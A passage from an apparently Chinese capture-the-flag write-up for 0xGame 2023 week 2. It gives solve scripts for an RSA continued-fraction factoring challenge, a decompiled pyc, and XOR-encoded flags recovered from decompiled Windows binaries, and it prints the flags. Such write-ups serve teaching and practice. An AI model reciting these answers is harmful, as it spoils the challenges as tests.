n2 = 98610059405909709236605917689098885002879444945638075211314307193606837880105206712319347867622300313532576634370428337380264959717881210838413399517651132671780258159190734344732892368445129227620504465546646408200702147731934326612310869147406851905281733628786238780909744106436897022557740292412749049813
e = 65537
c = 0x4ed40732f4a3a000362608c354df1431750211c7d4d9e6cd31c19ddc9c15014836ef25bdb6a6c0dee0fbc32581916e6d78a2fbb0593567e7252816cacec18e2cf26843286c55050da8b4827ecca4d8b59da462fcd5ccba0b04e1f55d378c21eb497e73579532b4d71d6ba4c4dec4123dd7da903eff1683bf114a07aa87e469b3

prec = 300
ring = RealField(prec)
data3 = ring(n1) / ring(n2)
print(data3)

pq = continued_fraction(data3)
plist = pq.convergents()
 
for i in plist:
    v = str(i).split('/')
    if len(v)>1 and is_prime(int(v[0])) and is_prime(int(v[1])) and (int(v[0]).bit_length()==128):
        print(v)

q1,q2 = 227202642389178595116033121671729536951,234563712226459514184352381869413267869
p1,p2 = n1//q1,n2//q2 

m = pow(c,inverse_mod(e, (p2-1)*(q2-1)),n2)
l2b(m)
#b'Continued fractionnnn'

REV

符文解密师

[0xGame 2023 week2] pwn/crypto/reverse_第1张图片

编译逆旅者 

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

import binascii

def main():
    flag = binascii.unhexlify(hex(0x307847616D657B63646539646331372D356133312D356330612D646633342D3663373562373634366334627DL)[2:].encode())
    user_input = input('请输入一个秘密的数字:')
    if not len(user_input) != 13 or user_input.isdigit():
        print('无效输入。必须是13位数字。')
        return None
    if None == '1145141919810':
        print(f'''真理的旗帜:{flag}''')
        return None
    None('秘密的数字错误!')

if __name__ == '__main__':
    main()
    return None

这段 pyc可以在网站上几乎完美反编译

码海舵师

[0xGame 2023 week2] pwn/crypto/reverse_第2张图片

直接base64

注册侦探 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  _BYTE *v4; // rdi
  __int64 v5; // rax
  _BYTE *i; // rbx
  __int64 v7; // rcx
  void *v8; // rdx
  __int64 v9; // rax
  int Src[12]; // [rsp+30h] [rbp-19h] BYREF
  HKEY hKey; // [rsp+60h] [rbp+17h] BYREF
  DWORD cbData; // [rsp+68h] [rbp+1Fh] BYREF
  DWORD Type; // [rsp+6Ch] [rbp+23h] BYREF
  BYTE Data[4]; // [rsp+70h] [rbp+27h] BYREF
  __int128 v16; // [rsp+78h] [rbp+2Fh]
  char *v17; // [rsp+88h] [rbp+3Fh]

  cbData = 4;
  Type = 4;
  v16 = 0i64;
  Src[0] = 1383353091;
  Src[1] = 189290078;
  Src[2] = 38864395;
  Src[3] = 503515984;
  Src[4] = 1364350722;
  Src[5] = 1448105758;
  Src[6] = 89136641;
  Src[7] = 85852241;
  Src[8] = 72812293;
  Src[9] = 50464516;
  Src[10] = 1314325334;
  v3 = (char *)operator new(0x2Cui64);
  *(_QWORD *)&v16 = v3;
  v4 = v3 + 44;
  v17 = v3 + 44;
  memmove(v3, Src, 0x2Cui64);
  *((_QWORD *)&v16 + 1) = v3 + 44;
  if ( !RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\0xGame", 0, 0x20019u, &hKey) )
  {
    if ( RegQueryValueExA(hKey, "registered", 0i64, &Type, Data, &cbData) )
    {
      v8 = &unk_140003430;
    }
    else
    {
      if ( *(_DWORD *)Data == 1 )
      {
        v5 = sub_140001420(std::cout, &unk_1400033E0);
        std::ostream::operator<<(v5, sub_1400015F0);
        for ( i = v3; i != v4; ++i )
          sub_140001630(std::cout, *i ^ 0x33u);
        v7 = std::cout;
        goto LABEL_10;
      }
      v8 = &unk_140003410;
    }
    v7 = sub_140001420(std::cout, v8);
LABEL_10:
    std::ostream::operator<<(v7, sub_1400015F0);
    RegCloseKey(hKey);
    goto LABEL_12;
  }
  v9 = sub_140001420(std::cout, &unk_140003450);
  std::ostream::operator<<(v9, sub_1400015F0);
LABEL_12:
  system("pause");
  if ( v3 )
    j_j_free(v3);
  return 0;
}

终于一个不用grep作的题

Src = [0]*12
Src[0] = 0x52744B03
Src[1] = 0xB48565E
Src[2] = 38864395
Src[3] = 503515984
Src[4] = 1364350722
Src[5] = 1448105758
Src[6] = 89136641
Src[7] = 85852241
Src[8] = 72812293
Src[9] = 50464516
Src[10] = 1314325334

from pwn import p32,xor

a = b''.join([p32(v) for v in Src])
xor(a,0x33)
#0xGame{885b1c80-1dab-dce2-c6b3-664d77410e0d}

壳艺大师

支持程序脱壳的都不是壳。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 jumpbuf_sp; // rbx
  unsigned __int64 v4; // rdi
  unsigned int v5; // r10d
  unsigned __int64 v6; // r11
  __int64 v7; // r11
  _BYTE *v8; // rax
  char v9; // r9
  __int64 v10; // r9
  __int64 v11; // rdx
  __int64 v12; // r8
  _BYTE *v13; // rax
  int v14; // r10d
  char v15; // r9
  __int64 v16; // rax
  __int64 v17; // rax
  __int64 v19; // rax
  int v20[11]; // [rsp+20h] [rbp-59h] BYREF
  char v21[4]; // [rsp+4Ch] [rbp-2Dh] BYREF
  __int128 v22; // [rsp+50h] [rbp-29h] BYREF
  char v23[16]; // [rsp+60h] [rbp-19h] BYREF
  char v24[32]; // [rsp+70h] [rbp-9h] BYREF
  char v25[24]; // [rsp+90h] [rbp+17h] BYREF
  char v26[32]; // [rsp+A8h] [rbp+2Fh] BYREF

  sub_1400016E0(v26, argv, envp);
  sub_140001600(v25);
  v20[0] = 1361186916;
  v20[1] = 253370901;
  v20[2] = 402750470;
  v20[3] = 492178028;
  v20[4] = 139951691;
  v20[5] = 1280387144;
  v20[6] = 1392985440;
  v20[7] = 1582069534;
  v20[8] = 1330871133;
  v20[9] = 1376213345;
  v20[10] = 268923932;
  v22 = *(_OWORD *)std::u16string_view::basic_string_view>(v23, v20, v21);
  sub_140001640(v25, &v22);
  sub_140001720(v24);
  sub_140001AF0(std::cout, &unk_140004468);
  sub_140001D00(std::cin, v24);
  jumpbuf_sp = _except_get_jumpbuf_sp(v24);
  if ( jumpbuf_sp )
  {
    v4 = _except_get_jumpbuf_sp(v26);
    v6 = v5;
    while ( 1 )
    {
      sub_1400016B0(v26, v6 % v4);
      v8 = (_BYTE *)sub_1400016B0(v24, v7);
      LOBYTE(v10) = *v8 ^ v9;
      v13 = (_BYTE *)std::unique_ptr::operator[](v25, v11, v12, v10);
      if ( v15 != *v13 )
        break;
      v6 = v14 + 1;
      if ( v6 >= jumpbuf_sp )
        goto LABEL_5;
    }
    v19 = sub_140001AF0(std::cout, &unk_140004488);
    std::ostream::operator<<(v19, sub_140001EE0);
  }
  else
  {
LABEL_5:
    v16 = sub_140001AF0(std::cout, &unk_140004498);
    v17 = sub_140001F20(v16, v24);
    std::ostream::operator<<(v17, sub_140001EE0);
    system("pause");
  }
  sub_1400016D0(v24);
  sub_140001630(v25);
  sub_1400016D0(v26);
  return 0;
}

内容与上题相同,只是key和密文不同

from pwn import p32,xor

v20 = [0]*11
v20[0] = 1361186916
v20[1] = 253370901
v20[2] = 402750470
v20[3] = 492178028
v20[4] = 139951691
v20[5] = 1280387144
v20[6] = 1392985440
v20[7] = 1582069534
v20[8] = 1330871133
v20[9] = 1376213345
v20[10] = 268923932

a = b''.join([p32(v) for v in v20])
xor(a,b'The0xGameKey')
#0xGame{bc7da8b3-396e-c454-bcf0-3806651bbd3f}

第3周才会上难度。跟羊羊羊似的。

你可能感兴趣的:(算法)